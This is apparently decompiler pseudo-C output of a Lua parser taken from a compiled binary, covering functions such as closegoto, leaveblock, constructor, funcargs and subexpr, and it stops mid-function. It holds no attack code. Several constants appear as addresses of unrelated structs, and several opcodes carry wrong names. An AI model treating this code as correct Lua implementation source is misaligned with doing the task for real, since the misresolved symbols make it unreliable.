var->k = 8; result = 8; } else { var->t = -1; var->f = -1; var->k = 7; *(_DWORD *)&var->u.ind.idx = v5; if ( !base ) { for ( i = fs->bl; i->nactvar > v5; i = i->previous ) ; i->upval = 1; } result = 7; } return result; } //----- (005BAD60) -------------------------------------------------------- void __usercall singlevar(LexState *ls, expdesc *var) { LexState *v2; // esi@1 TString *v3; // ebp@3 FuncState *v4; // edi@3 int v5; // eax@4 int key; // [sp+4h] [bp-18h]@4 int v7; // [sp+Ch] [bp-10h]@4 int v8; // [sp+14h] [bp-8h]@4 int v9; // [sp+18h] [bp-4h]@4 v2 = ls; if ( ls->t.token != 288 ) JUMPOUT(error_expected); v3 = (TString *)LODWORD(ls->t.seminfo.r); luaX_next(ls); v4 = v2->fs; if ( !singlevaraux(v2->fs, v3, var, 1) ) { singlevaraux(v4, v2->envn, var, 1); v5 = luaK_stringK(v2->fs, v3); v8 = -1; v9 = -1; key = 4; v7 = v5; luaK_indexed(v4, var, (expdesc *)&key); } } //----- (005BADE0) -------------------------------------------------------- void __usercall adjust_assign(LexState *ls, int nvars, expdesc *e, int nexps) { FuncState *v4; // edi@1 expkind v5; // eax@1 int v6; // esi@1 int v7; // ebx@6 int v8; // esi@7 v4 = ls->fs; v5 = e->k; v6 = nvars - nexps; if ( e->k == 12 || v5 == 13 ) { v8 = v6 + 1; if ( v8 < 0 ) v8 = 0; luaK_setreturns(v4, e, v8); if ( v8 > 1 ) luaK_reserveregs(v4, v8 - 1); } else { if ( v5 ) luaK_exp2nextreg(v4, e); if ( v6 > 0 ) { v7 = v4->freereg; luaK_reserveregs(v4, v6); luaK_nil(v4, v7, v6); } } } //----- (005BAE50) -------------------------------------------------------- void __usercall closegoto(LexState *ls, Labeldesc *label, int g) { LexState *v3; // edi@1 Dyndata *v4; // esi@1 Labeldesc *v5; // eax@1 int v6; // esi@1 int v7; // ebp@1 unsigned __int8 v8; // dl@1 int v9; // eax@1 const char *v10; // eax@2 int i; // ecx@4 int v12; // eax@5 v3 = ls; v4 = ls->dyd; v5 = v4->gt.arr; v6 = (int)&v4->gt; v7 = 16 * g; v8 = v5[g].nactvar; v9 = (int)&v5[g]; if ( v8 < label->nactvar ) { v10 = luaO_pushfstring(v3->L, " at line %d jumps into the scope of local '%s'"); v3->t.token = 0; luaX_syntaxerror(v3, v10); } luaK_patchlist(v3->fs, *(_DWORD *)(v9 + 4), label->pc); for ( i = g; i < *(_DWORD *)(v6 + 4) - 1; v7 += 16 ) { v12 = v7 + *(_DWORD *)v6; *(_DWORD *)v12 = *(_DWORD *)(v12 + 16); *(_DWORD *)(v12 + 4) = *(_DWORD *)(v12 + 20); *(_DWORD *)(v12 + 8) = *(_DWORD *)(v12 + 24); *(_DWORD *)(v12 + 12) = *(_DWORD *)(v12 + 28); ++i; } --*(_DWORD *)(v6 + 4); } //----- (005BAF20) -------------------------------------------------------- int __cdecl findlabel(LexState *ls, int g) { int v2; // ebp@1 Dyndata *v3; // esi@1 int v4; // edi@1 int v5; // eax@2 int v6; // ebx@4 int result; // eax@6 unsigned __int8 v8; // al@7 int i; // [sp+10h] [bp-8h]@2 BlockCnt *v10; // [sp+14h] [bp-4h]@1 v2 = ls->fs->bl->firstlabel; v3 = ls->dyd; v4 = (int)&v3->gt.arr[g]; v10 = ls->fs->bl; if ( v2 >= v3->label.n ) { LABEL_6: result = 0; } else { v5 = 16 * v2; for ( i = 16 * v2; ; v5 = i ) { v6 = (int)((char *)v3->label.arr + v5); if ( luaS_eqstr(*(TString **)v6, *(TString **)v4) ) break; ++v2; i += 16; if ( v2 >= v3->label.n ) goto LABEL_6; } v8 = *(_BYTE *)(v6 + 12); if ( *(_BYTE *)(v4 + 12) > v8 && (v10->upval || v3->label.n > v10->firstlabel) ) luaK_patchclose(ls->fs, *(_DWORD *)(v4 + 4), v8); closegoto(ls, g, (Labeldesc *)v6); result = 1; } return result; } //----- (005BAFF0) -------------------------------------------------------- int __usercall newlabelentry(LexState *ls, Labellist *l, TString *name, int line, int pc) { int v5; // edi@1 v5 = l->n; if ( v5 + 1 > l->size ) l->arr = (Labeldesc *)luaM_growaux_(ls->L, l->arr, &l->size, 0x10u, 32767, "labels/gotos"); l->arr[v5].name = name; l->arr[v5].line = line; l->arr[v5].nactvar = ls->fs->nactvar; l->arr[v5].pc = pc; ++l->n; return v5; } //----- (005BB060) -------------------------------------------------------- void __usercall findgotos(Labeldesc *lb, LexState *ls) { Labeldesc *v2; // ebx@1 Dyndata *v3; // edi@1 int v4; // esi@1 int v5; // eax@1 int v6; // edi@1 int v7; // ebp@2 v2 = lb; v3 = ls->dyd; v4 = ls->fs->bl->firstgoto; v5 = v3->gt.n; v6 = (int)&v3->gt; if ( v4 < v5 ) { v7 = 16 * v4; do { if ( luaS_eqstr(*(TString **)(*(_DWORD *)v6 + v7), v2->name) ) { closegoto(ls, v4, v2); } else { ++v4; v7 += 16; } } while ( v4 < *(_DWORD *)(v6 + 4) ); } } //----- (005BB0C0) -------------------------------------------------------- void __cdecl movegotosout(FuncState *fs, BlockCnt *bl) { BlockCnt *v2; // ecx@1 int v3; // ebx@1 Dyndata *v4; // edi@1 int v5; // eax@1 int v6; // edi@1 int v7; // ebp@2 char v8; // al@4 int v9; // esi@4 v2 = bl; v3 = bl->firstgoto; v4 = fs->ls->dyd; v5 = v4->gt.n; v6 = (int)&v4->gt; if ( v3 < v5 ) { v7 = 16 * v3; while ( 1 ) { v8 = v2->nactvar; v9 = v7 + *(_DWORD *)v6; if ( *(_BYTE *)(*(_DWORD *)v6 + v7 + 12) > (unsigned __int8)v8 ) { if ( v2->upval ) { luaK_patchclose(fs, *(_DWORD *)(v9 + 4), (unsigned __int8)v8); v2 = bl; } *(_BYTE *)(v9 + 12) = v2->nactvar; } if ( !findlabel(fs->ls, v3) ) { ++v3; v7 += 16; } if ( v3 >= *(_DWORD *)(v6 + 4) ) break; v2 = bl; } } } //----- (005BB190) -------------------------------------------------------- void __cdecl leaveblock(FuncState *fs) { const char *v1; // ecx@11 const char *v2; // eax@13 LexState *v3; // ebx@1 BlockCnt *v4; // edi@1 int v5; // esi@3 TString *v6; // eax@5 int v7; // eax@5 Dyndata *v8; // eax@9 int v9; // edx@9 int v10; // edx@10 v3 = fs->ls; v4 = fs->bl; if ( v4->previous && v4->upval ) { v5 = luaK_jump(fs); luaK_patchclose(fs, v5, v4->nactvar); luaK_patchtohere(fs, v5); } if ( v4->isloop ) { v6 = luaS_new(v3->L, "break"); v7 = newlabelentry(v3, &v3->dyd->label, v6, 0, v3->fs->pc); findgotos(v3, &v3->dyd->label.arr[v7]); } fs->bl = v4->previous; removevars(fs, v4->nactvar); fs->freereg = fs->nactvar; v3->dyd->label.n = v4->firstlabel; if ( v4->previous ) { movegotosout(fs, v4); } else { v8 = v3->dyd; v9 = v4->firstgoto; if ( v9 < v8->gt.n ) { v10 = (int)&v8->gt.arr[v9]; if ( *(_BYTE *)(*(_DWORD *)v10 + 4) != 4 || (v1 = "<%s> at line %d not inside a loop", !*(_BYTE *)(*(_DWORD *)v10 + 6)) ) v1 = "no visible label '%s' for at line %d"; v2 = luaO_pushfstring(v3->L, v1); v3->t.token = 0; luaX_syntaxerror(v3, v2); } } } //----- (005BB260) -------------------------------------------------------- Proto *__usercall addprototype(LexState *ls) { lua_State *v1; // ecx@1 FuncState *v2; // ebx@1 int v3; // eax@1 Proto *v4; // esi@1 int v5; // ebp@1 int *v6; // edi@1 void *v7; // eax@3 Proto *v8; // edi@6 lua_State *L; // [sp+10h] [bp-4h]@1 v1 = ls->L; v2 = ls->fs; v3 = v2->np; v4 = v2->f; v5 = v2->f->sizep; v6 = &v2->f->sizep; L = v1; if ( v3 >= v5 ) { if ( v3 + 1 > v5 ) { v7 = luaM_growaux_(v1, v4->p, v6, 4u, 262143, "functions"); v1 = L; v4->p = (Proto **)v7; } for ( ; v5 < *v6; ++v5 ) v4->p[v5] = 0; } v8 = luaF_newproto(v1); v4->p[v2->np++] = v8; if ( v8->marked & 3 && v4->marked & 4 ) luaC_barrier_(L, (GCObject *)&v4->next, (GCObject *)&v8->next); return v8; } //----- (005BB300) -------------------------------------------------------- void __usercall open_func(LexState *ls, FuncState *fs, BlockCnt *bl) { lua_State *v3; // edi@1 Proto *v4; // ecx@1 Table *v5; // eax@1 lua_TValue *v6; // ecx@1 int v7; // eax@1 int v8; // ecx@1 __int16 v9; // dx@3 v3 = ls->L; fs->prev = ls->fs; fs->ls = ls; ls->fs = fs; fs->pc = 0; fs->lasttarget = 0; fs->jpc = -1; fs->freereg = 0; fs->nk = 0; fs->np = 0; fs->nups = 0; fs->nlocvars = 0; fs->nactvar = 0; fs->firstlocal = ls->dyd->actvar.n; v4 = fs->f; fs->bl = 0; v4->source = ls->source; v4->maxstacksize = 2; v5 = luaH_new(v3); fs->h = v5; v6 = v3->top; v6->u.i.v__.gc = (GCObject *)v5; v6->u.i.tt__ = 2146936133; v7 = (int)&v3->top[1]; v8 = (int)((char *)v3->stack_last - v7); v3->top = (lua_TValue *)v7; if ( (v8 & 0xFFFFFFF8) <= 0 ) luaD_growstack(v3, 0); bl->isloop = 0; bl->nactvar = fs->nactvar; bl->firstlabel = LOWORD(fs->ls->dyd->label.n); v9 = LOWORD(fs->ls->dyd->gt.n); bl->upval = 0; bl->firstgoto = v9; bl->previous = fs->bl; fs->bl = bl; } //----- (005BB3C0) -------------------------------------------------------- void __cdecl close_func(LexState *ls) { lua_State *v1; // ebx@1 FuncState *v2; // edi@1 Proto *v3; // esi@1 int v4; // eax@1 int v5; // eax@5 int v6; // eax@7 int v7; // eax@9 int v8; // eax@11 int v9; // eax@13 global_State *v10; // edx@16 v1 = ls->L; v2 = ls->fs; v3 = v2->f; luaK_ret(ls->fs, 0, 0); leaveblock(v2); v4 = v2->pc; if ( (unsigned int)(v4 + 1) > 0x3FFFFFFF ) luaM_toobig(v1); v3->code = (unsigned int *)luaM_realloc_(v1, v3->code, 4 * v3->sizecode, 4 * v4); v3->sizecode = v2->pc; if ( (unsigned int)(v2->pc + 1) > 0x3FFFFFFF ) luaM_toobig(v1); v3->lineinfo = (int *)luaM_realloc_(v1, v3->lineinfo, 4 * v3->sizelineinfo, 4 * v2->pc); v3->sizelineinfo = v2->pc; v5 = v2->nk; if ( (unsigned int)(v5 + 1) > 0x1FFFFFFF ) luaM_toobig(v1); v3->k = (lua_TValue *)luaM_realloc_(v1, v3->k, 8 * v3->sizek, 8 * v5); v3->sizek = v2->nk; v6 = v2->np; if ( (unsigned int)(v6 + 1) > 0x3FFFFFFF ) luaM_toobig(v1); v3->p = (Proto **)luaM_realloc_(v1, v3->p, 4 * v3->sizep, 4 * v6); v3->sizep = v2->np; v7 = v2->nlocvars; if ( (unsigned int)(v7 + 1) > 0x15555555 ) luaM_toobig(v1); v3->locvars = (LocVar *)luaM_realloc_(v1, v3->locvars, 12 * v3->sizelocvars, 12 * v7); v3->sizelocvars = v2->nlocvars; v8 = v2->nups; if ( (unsigned int)(v8 + 1) > 0x1FFFFFFF ) luaM_toobig(v1); v3->upvalues = (Upvaldesc *)luaM_realloc_(v1, v3->upvalues, 8 * v3->sizeupvalues, 8 * v8); v3->sizeupvalues = v2->nups; ls->fs = v2->prev; v9 = ls->t.token; if ( v9 == 288 || v9 == 289 ) luaX_newstring(ls, (const char *)(LODWORD(ls->t.seminfo.r) + 16), *(_DWORD *)(LODWORD(ls->t.seminfo.r) + 12)); v10 = v1->l_G; --v1->top; if ( v10->GCdebt > 0 ) luaC_step(v1); } //----- (005BB590) -------------------------------------------------------- int __usercall block_follow(LexState *ls, int withuntil) { int result; // eax@2 switch ( ls->t.token ) { case 0x104: case 0x105: case 0x106: case 0x11E: result = 1; break; case 0x115: result = withuntil; break; default: result = 0; break; } return result; } //----- (005BB5F0) -------------------------------------------------------- void __usercall fieldsel(LexState *ls, expdesc *v) { LexState *v2; // esi@1 FuncState *v3; // edi@1 TString *v4; // ebx@3 int v5; // eax@3 int key; // [sp+Ch] [bp-18h]@3 int v7; // [sp+14h] [bp-10h]@3 int v8; // [sp+1Ch] [bp-8h]@3 int v9; // [sp+20h] [bp-4h]@3 v2 = ls; v3 = ls->fs; luaK_exp2anyregup(v3, v); luaX_next(v2); if ( v2->t.token != 288 ) JUMPOUT(error_expected); v4 = (TString *)LODWORD(v2->t.seminfo.r); luaX_next(v2); v5 = luaK_stringK(v2->fs, v4); v8 = -1; v9 = -1; key = 4; v7 = v5; luaK_indexed(v3, v, (expdesc *)&key); } //----- (005BB670) -------------------------------------------------------- void __usercall recfield(LexState *ls, ConsControl *cc) { const char *v2; // eax@10 LexState *v3; // esi@1 FuncState *v4; // edi@1 TString *v5; // ebp@4 int v6; // eax@4 int v7; // eax@5 int v8; // ebp@8 int v9; // eax@8 char reg; // [sp+Ch] [bp-34h]@1 int key; // [sp+10h] [bp-30h]@4 int v12; // [sp+18h] [bp-28h]@4 int v13; // [sp+20h] [bp-20h]@4 int v14; // [sp+24h] [bp-1Ch]@4 expdesc val; // [sp+28h] [bp-18h]@8 v3 = ls; v4 = ls->fs; reg = v4->freereg; if ( ls->t.token == 288 ) { if ( cc->nh > 2147483645 ) errorlimit(v4, 2147483645, "items in a constructor"); v5 = (TString *)LODWORD(ls->t.seminfo.r); luaX_next(ls); v6 = luaK_stringK(v3->fs, v5); v13 = -1; v14 = -1; key = 4; v12 = v6; } else { luaX_next(ls); subexpr(v3, (expdesc *)&key, 0); luaK_exp2val(v3->fs, (expdesc *)&key); v7 = 93; if ( v3->t.token != 93 ) { error_expected: luaX_token2str(v3, v7); v2 = luaO_pushfstring(v3->L, "%s expected"); luaX_syntaxerror(v3, v2); } luaX_next(v3); } ++cc->nh; v7 = 61; if ( v3->t.token != 61 ) goto error_expected; luaX_next(v3); v8 = luaK_exp2RK(v4, (expdesc *)&key); subexpr(v3, &val, 0); v9 = luaK_exp2RK(v4, &val); luaK_codeABC(v4, OP_DELETE, *(_DWORD *)&cc->t->u.ind.idx, v8, v9); v4->freereg = reg; } //----- (005BB780) -------------------------------------------------------- void __usercall lastlistfield(FuncState *fs, ConsControl *cc) { expkind v2; // eax@2 if ( cc->tostore ) { v2 = cc->v.k; if ( cc->v.k == 12 || v2 == 13 ) { luaK_setreturns(fs, &cc->v, -1); luaK_setlist(fs, *(_DWORD *)&cc->t->u.ind.idx, cc->na--, -1); } else { if ( v2 ) luaK_exp2nextreg(fs, &cc->v); luaK_setlist(fs, *(_DWORD *)&cc->t->u.ind.idx, cc->na, cc->tostore); } } } //----- (005BB7F0) -------------------------------------------------------- void __usercall constructor(LexState *ls, expdesc *t) { LexState *v2; // esi@1 FuncState *v3; // edi@1 expdesc *v4; // ebx@1 FuncState *v5; // ST00_4@1 int v6; // eax@7 int v7; // eax@15 int v8; // esi@18 int v9; // esi@18 const char *v10; // eax@23 expdesc *v11; // [sp-8h] [bp-48h]@9 int v12; // [sp-4h] [bp-44h]@9 int line; // [sp+10h] [bp-30h]@1 int pc; // [sp+14h] [bp-2Ch]@1 ConsControl cc; // [sp+18h] [bp-28h]@1 v2 = ls; v3 = ls->fs; v4 = t; line = ls->linenumber; pc = luaK_codeABC(ls->fs, OP_MARK_AS_READ, 0, 0, 0); v4->t = -1; v4->f = -1; v4->k = 11; *(_DWORD *)&v4->u.ind.idx = pc; v5 = v2->fs; cc.tostore = 0; cc.nh = 0; cc.na = 0; cc.t = v4; cc.v.t = -1; cc.v.f = -1; cc.v.k = 0; *(_DWORD *)&cc.v.u.ind.idx = 0; luaK_exp2nextreg(v5, v4); if ( v2->t.token != 123 ) JUMPOUT(error_expected); while ( 1 ) { luaX_next(v2); if ( v2->t.token == 125 ) break; if ( (_DWORD)cc.v.k ) { luaK_exp2nextreg(v3, &cc.v); cc.v.k = 0; if ( cc.tostore == 50 ) { luaK_setlist(v3, *(_DWORD *)&cc.t->u.ind.idx, cc.na, 50); cc.tostore = 0; } } v6 = v2->t.token; if ( v6 != 91 ) { if ( v6 != 288 ) { v12 = 0; v11 = (expdesc *)&cc; LABEL_12: subexpr(v2, v11, v12); if ( cc.na > 2147483645 ) errorlimit(v2->fs, 2147483645, "items in a constructor"); ++cc.na; ++cc.tostore; goto LABEL_15; } if ( luaX_lookahead(v2) != 61 ) { v12 = 0; v11 = (expdesc *)&cc; goto LABEL_12; } } recfield(v2, &cc); LABEL_15: v7 = v2->t.token; if ( v7 != 44 && v7 != 59 ) { if ( v7 != 125 ) { if ( line == v2->linenumber ) JUMPOUT(error_expected); luaX_token2str(v2, 123); luaX_token2str(v2, 125); v10 = luaO_pushfstring(v2->L, "%s expected (to close %s at line %d)"); luaX_syntaxerror(v2, v10); } break; } } luaX_next(v2); lastlistfield(v3, &cc); v8 = (int)&v3->f->code[pc]; *(_DWORD *)v8 = (unsigned int)((char *)&charclassmanager.ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[1].ort_HeaderList.orchl_fieldname[91] + 3) & *(_DWORD *)v8 | (luaO_int2fb(cc.na) << 23); v9 = (int)&v3->f->code[pc]; *(_DWORD *)v9 ^= (unsigned int)&charclassmanager.ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[25].ort_HeaderList.orchl_fieldname[449] & (*(_DWORD *)v9 ^ (luaO_int2fb(cc.nh) << 14)); } //----- (005BBA00) -------------------------------------------------------- void __usercall parlist(LexState *ls) { LexState *v1; // ebx@1 FuncState *v2; // esi@1 Proto *v3; // edi@1 int v4; // ebp@1 TString *v5; // esi@4 FuncState *v6; // [sp+10h] [bp-4h]@1 v1 = ls; v2 = ls->fs; v3 = v2->f; v2->f->is_vararg = 0; v4 = 0; v6 = v2; if ( ls->t.token != 41 ) { while ( 1 ) { if ( v1->t.token == 280 ) { luaX_next(v1); v3->is_vararg = 1; goto LABEL_10; } if ( v1->t.token != 288 ) luaX_syntaxerror(v1, " or '...' expected"); v5 = (TString *)LODWORD(v1->t.seminfo.r); luaX_next(v1); new_localvar(v1, v5); ++v4; if ( v3->is_vararg ) break; if ( v1->t.token != 44 ) break; luaX_next(v1); v2 = v6; } v2 = v6; } LABEL_10: adjustlocalvars(v1, v4); v3->numparams = v2->nactvar; luaK_reserveregs(v2, v2->nactvar); } //----- (005BBAA0) -------------------------------------------------------- void __usercall body(LexState *ls, expdesc *e, int ismethod, int line) { LexState *v4; // ebx@1 TString *v5; // eax@4 FuncState *v6; // eax@4 int v7; // edx@4 char v8; // cl@4 FuncState *v9; // esi@8 int v10; // eax@8 const char *v11; // eax@12 TString name; // [sp+Ch] [bp-40h]@1 v4 = ls; name.tsv.len = (unsigned int)addprototype(ls); *(_DWORD *)(name.tsv.len + 64) = line; open_func(v4, (FuncState *)&name.tsv.len, (BlockCnt *)&name); if ( v4->t.token != 40 ) JUMPOUT(error_expected); luaX_next(v4); if ( ismethod ) { v5 = luaX_newstring(v4, "self", 4u); new_localvar(v4, v5); v6 = v4->fs; v7 = v6->firstlocal; v8 = v6->nactvar + 1; v6->nactvar = v8; v6->f->locvars[*(&v6->ls->dyd->actvar.arr[(unsigned __int8)v8 - 1].idx + v7)].startpc = v6->pc; } parlist(v4); if ( v4->t.token != 41 ) JUMPOUT(error_expected); luaX_next(v4); statlist(v4); *(_DWORD *)(name.tsv.len + 68) = v4->linenumber; if ( v4->t.token != 262 ) { if ( line == v4->linenumber ) JUMPOUT(error_expected); luaX_token2str(v4, 265); luaX_token2str(v4, 262); v11 = luaO_pushfstring(v4->L, "%s expected (to close %s at line %d)"); luaX_syntaxerror(v4, v11); } luaX_next(v4); v9 = v4->fs->prev; v10 = luaK_codeABx(v9, OP_DEFER_ACTION|0x20, 0, v9->np - 1); e->t = -1; e->f = -1; e->k = 11; *(_DWORD *)&e->u.ind.idx = v10; luaK_exp2nextreg(v9, e); close_func(v4); } //----- (005BBC00) -------------------------------------------------------- int __usercall explist(LexState *ls, expdesc *v) { int v2; // ebx@1 v2 = 1; subexpr(ls, v, 0); while ( ls->t.token == 44 ) { luaX_next(ls); luaK_exp2nextreg(ls->fs, v); subexpr(ls, v, 0); ++v2; } return v2; } //----- (005BBC40) -------------------------------------------------------- void __usercall funcargs(LexState *ls, expdesc *f, int line) { LexState *v3; // esi@1 int v4; // eax@1 FuncState *v5; // ebp@1 int v6; // eax@5 int v7; // edi@5 int v8; // ebx@12 int v9; // eax@16 int v10; // eax@18 int args; // [sp+Ch] [bp-18h]@5 int v12; // [sp+14h] [bp-10h]@5 int v13; // [sp+1Ch] [bp-8h]@5 int v14; // [sp+20h] [bp-4h]@5 v3 = ls; v4 = ls->t.token; v5 = v3->fs; if ( v4 == 40 ) { luaX_next(v3); if ( v3->t.token == 41 ) { args = 0; } else { explist(v3, (expdesc *)&args); luaK_setreturns(v5, (expdesc *)&args, -1); } check_match(v3, 41, 40, line); goto LABEL_11; } if ( v4 == 123 ) { constructor(v3, (expdesc *)&args); LABEL_11: v7 = -1; goto LABEL_12; } if ( v4 != 289 ) luaX_syntaxerror(v3, "function arguments expected"); v6 = luaK_stringK(v5, LODWORD(v3->t.seminfo.r)); v7 = -1; v13 = -1; v14 = -1; args = 4; v12 = v6; luaX_next(v3); LABEL_12: v8 = *(_DWORD *)&f->u.ind.idx; if ( args == 12 || args == 13 ) { v9 = v7; } else { if ( args ) luaK_exp2nextreg(v5, (expdesc *)&args); v9 = v5->freereg - v8 - 1; } v10 = luaK_codeABC(v5, OP_TAG|OP_OOF_REPLY|0x10, v8, v9 + 1, 2); f->t = v7; f->f = v7; f->k = 12; *(_DWORD *)&f->u.ind.idx = v10; luaK_fixline(v5, line); v5->freereg = v8 + 1; } //----- (005BBD60) -------------------------------------------------------- void __usercall primaryexp(LexState *ls, expdesc *v) { expdesc *v2; // ebx@1 int v3; // eax@1 int v4; // edi@5 v2 = v; v3 = ls->t.token; if ( v3 == 40 ) { v4 = ls->linenumber; luaX_next(ls); subexpr(ls, v2, 0); check_match(ls, 41, 40, v4); luaK_dischargevars(ls->fs, v2); } else { if ( v3 != 288 ) luaX_syntaxerror(ls, "unexpected symbol"); singlevar(ls, v2); } } //----- (005BBDC0) -------------------------------------------------------- void __usercall suffixedexp(LexState *ls, expdesc *v) { LexState *v2; // esi@1 FuncState *v3; // ebx@1 int v4; // eax@1 TString *v5; // ebp@7 int v6; // eax@7 int line; // [sp+8h] [bp-34h]@1 int v8; // [sp+Ch] [bp-30h]@7 int v9; // [sp+14h] [bp-28h]@7 int v10; // [sp+1Ch] [bp-20h]@7 int v11; // [sp+20h] [bp-1Ch]@7 expdesc key; // [sp+24h] [bp-18h]@4 v2 = ls; v3 = ls->fs; line = ls->linenumber; primaryexp(ls, v); v4 = v2->t.token - 40; while ( 1 ) { switch ( v4 ) { case 6: fieldsel(v2, v); goto LABEL_9; case 51: luaK_exp2anyregup(v3, v); luaX_next(v2); subexpr(v2, &key, 0); luaK_exp2val(v2->fs, &key); if ( v2->t.token != 93 ) goto LABEL_11; luaX_next(v2); luaK_indexed(v3, v, &key); goto LABEL_9; case 18: luaX_next(v2); if ( v2->t.token != 288 ) LABEL_11: JUMPOUT(error_expected); v5 = (TString *)LODWORD(v2->t.seminfo.r); luaX_next(v2); v6 = luaK_stringK(v2->fs, v5); v10 = -1; v11 = -1; v8 = 4; v9 = v6; luaK_self(v3, v, (expdesc *)&v8); funcargs(v2, v, line); goto LABEL_9; case 0: case 83: case 249: luaK_exp2nextreg(v3, v); funcargs(v2, v, line); LABEL_9: v4 = v2->t.token - 40; if ( (unsigned int)v4 > 0xF9 ) return; break; case 1: case 2: case 3: case 4: case 5: case 7: case 8: case 9: case 10: case 11: case 12: case 13: case 14: case 15: case 16: case 17: case 19: case 20: case 21: case 22: case 23: case 24: case 25: case 26: case 27: case 28: case 29: case 30: case 31: case 32: case 33: case 34: case 35: case 36: case 37: case 38: case 39: case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: case 48: case 49: case 50: case 52: case 53: case 54: case 55: case 56: case 57: case 58: case 59: case 60: case 61: case 62: case 63: case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 84: case 85: case 86: case 87: case 88: case 89: case 90: case 91: case 92: case 93: case 94: case 95: case 96: case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: case 123: case 124: case 125: case 126: case 127: case 128: case 129: case 130: case 131: case 132: case 133: case 134: case 135: case 136: case 137: case 138: case 139: case 140: case 141: case 142: case 143: case 144: case 145: case 146: case 147: case 148: case 149: case 150: case 151: case 152: case 153: case 154: case 155: case 156: case 157: case 158: case 159: case 160: case 161: case 162: case 163: case 164: case 165: case 166: case 167: case 168: case 169: case 170: case 171: case 172: case 173: case 174: case 175: case 176: case 177: case 178: case 179: case 180: case 181: case 182: case 183: case 184: case 185: case 186: case 187: case 188: case 189: case 190: case 191: case 192: case 193: case 194: case 195: case 196: case 197: case 198: case 199: case 200: case 201: case 202: case 203: case 204: case 205: case 206: case 207: case 208: case 209: case 210: case 211: case 212: case 213: case 214: case 215: case 216: case 217: case 218: case 219: case 220: case 221: case 222: case 223: case 224: case 225: case 226: case 227: case 228: case 229: case 230: case 231: case 232: case 233: case 234: case 235: case 236: case 237: case 238: case 239: case 240: case 241: case 242: case 243: case 244: case 245: case 246: case 247: case 248: return; } } } //----- (005BC000) -------------------------------------------------------- void __usercall simpleexp(LexState *ls, expdesc *v) { expdesc *v2; // edi@1 FuncState *v3; // eax@7 int v4; // eax@9 v2 = v; switch ( ls->t.token ) { case 0x11F: *(_DWORD *)&v->u.ind.idx = 0; v->t = -1; v->f = -1; v->k = 5; *(double *)&v->u.ind.idx = ls->t.seminfo.r; luaX_next(ls); return; case 0x121: codestring(ls, v, LODWORD(ls->t.seminfo.r)); luaX_next(ls); return; case 0x10E: v->k = 1; *(_DWORD *)&v->u.ind.idx = 0; goto LABEL_10; case 0x114: v->k = 2; *(_DWORD *)&v->u.ind.idx = 0; goto LABEL_10; case 0x107: v->k = 3; *(_DWORD *)&v->u.ind.idx = 0; goto LABEL_10; case 0x118: v3 = ls->fs; if ( !v3->f->is_vararg ) luaX_syntaxerror(ls, "cannot use '...' outside a vararg function"); v4 = luaK_codeABC(v3, OP_BOUNCE|0x20, 0, 1, 0); v2->k = 13; *(_DWORD *)&v2->u.ind.idx = v4; LABEL_10: v2->t = -1; v2->f = -1; luaX_next(ls); break; case 0x7B: constructor(ls, v); break; case 0x109: luaX_next(ls); body(ls, v2, 0, ls->linenumber); break; default: suffixedexp(ls, v); break; } } //----- (005BC1D0) -------------------------------------------------------- BinOpr __usercall getbinopr(int op) { BinOpr result; // eax@2 switch ( op ) { case 43: result = 0; break; case 45: result = 1; break; case 42: result = 2; break; case 47: result = 3; break; case 37: result = 4; break; case 94: result = 5; break; case 279: result = 6; break; case 284: result = 10; break; case 281: result = 7; break; case 60: result = 8; break; case 283: result = 9; break; case 62: result = 11; break; case 282: result = 12; break; case 257: result = 13; break; case 272: result = 14; break; default: result = 15; break; } return result; } //----- (005BC380) -------------------------------------------------------- BinOpr __cdecl subexpr(LexState *ls, expdesc *v, int limit) { LexState *v3; // ebx@1 lua_State *v4; // eax@1 int v5; // eax@3 UnOpr v6; // edi@6 int v7; // esi@9 expdesc *v8; // ebp@9 BinOpr v9; // esi@11 BinOpr v10; // edi@13 expdesc v2; // [sp+8h] [bp-18h]@13 int lsa; // [sp+24h] [bp+4h]@13 v3 = ls; v4 = ls->L; ++v4->nCcalls; if ( v4->nCcalls > 0xC8u ) errorlimit(ls->fs, 200, "C levels"); v5 = ls->t.token; if ( v5 == 35 ) { v6 = 2; goto LABEL_9; } if ( v5 == 45 ) { v6 = 0; goto LABEL_9; } if ( v5 == 271 ) { v6 = 1; LABEL_9: v7 = ls->linenumber; luaX_next(ls); v8 = v; subexpr(ls, v, 8); luaK_prefix(ls->fs, v6, v, v7); goto LABEL_11; } v8 = v; simpleexp(ls, v); LABEL_11: v9 = getbinopr(ls->t.token); if ( v9 != 15 ) { do { if ( priority[v9].left <= limit ) break; lsa = v3->linenumber; luaX_next(v3); luaK_infix(v3->fs, v9, v8); v10 = subexpr(v3, &v2, (unsigned __int8)byte_681F49[2 * v9]); luaK_posfix(v3->fs, v9, v8, &v2, lsa); v9 = v10; } while ( v10 != 15 ); } --v3->L->nCcalls; return v9; } //----- (005BC490) -------------------------------------------------------- void __usercall block(LexState *ls) { FuncState *v1; // esi@1 BlockCnt *v2; // [sp+4h] [bp-Ch]@1 __int16 v3; // [sp+8h] [bp-8h]@1 __int16 v4; // [sp+Ah] [bp-6h]@1 char v5; // [sp+Ch] [bp-4h]@1 char v6; // [sp+Dh] [bp-3h]@1 char v7; // [sp+Eh] [bp-2h]@1 v7 = 0; v1 = ls->fs; v5 = v1->nactvar; v3 = LOWORD(v1->ls->dyd->label.n); v4 = LOWORD(v1->ls->dyd->gt.n); v6 = 0; v2 = v1->bl; v1->bl = (BlockCnt *)&v2; statlist(ls); leaveblock(v1); } //----- (005BC4F0) -------------------------------------------------------- void __usercall check_conflict(LexState *ls, LHS_assign *lh, expdesc *v) { FuncState *v3; // edi@1 int v4; // ecx@1 signed int v5; // edx@1 v3 = ls->fs; v4 = v3->freereg; v5 = 0; if ( lh ) { do { if ( lh->v.k == 9 ) { if ( lh->v.u.ind.vt == v->k && lh->v.u.ind.t == *(_DWORD *)&v->u.ind.idx ) { v5 = 1; lh->v.u.ind.vt = 7; lh->v.u.ind.t = v4; } if ( v->k == 7 && lh->v.u.ind.idx == *(_DWORD *)&v->u.ind.idx ) { v5 = 1; 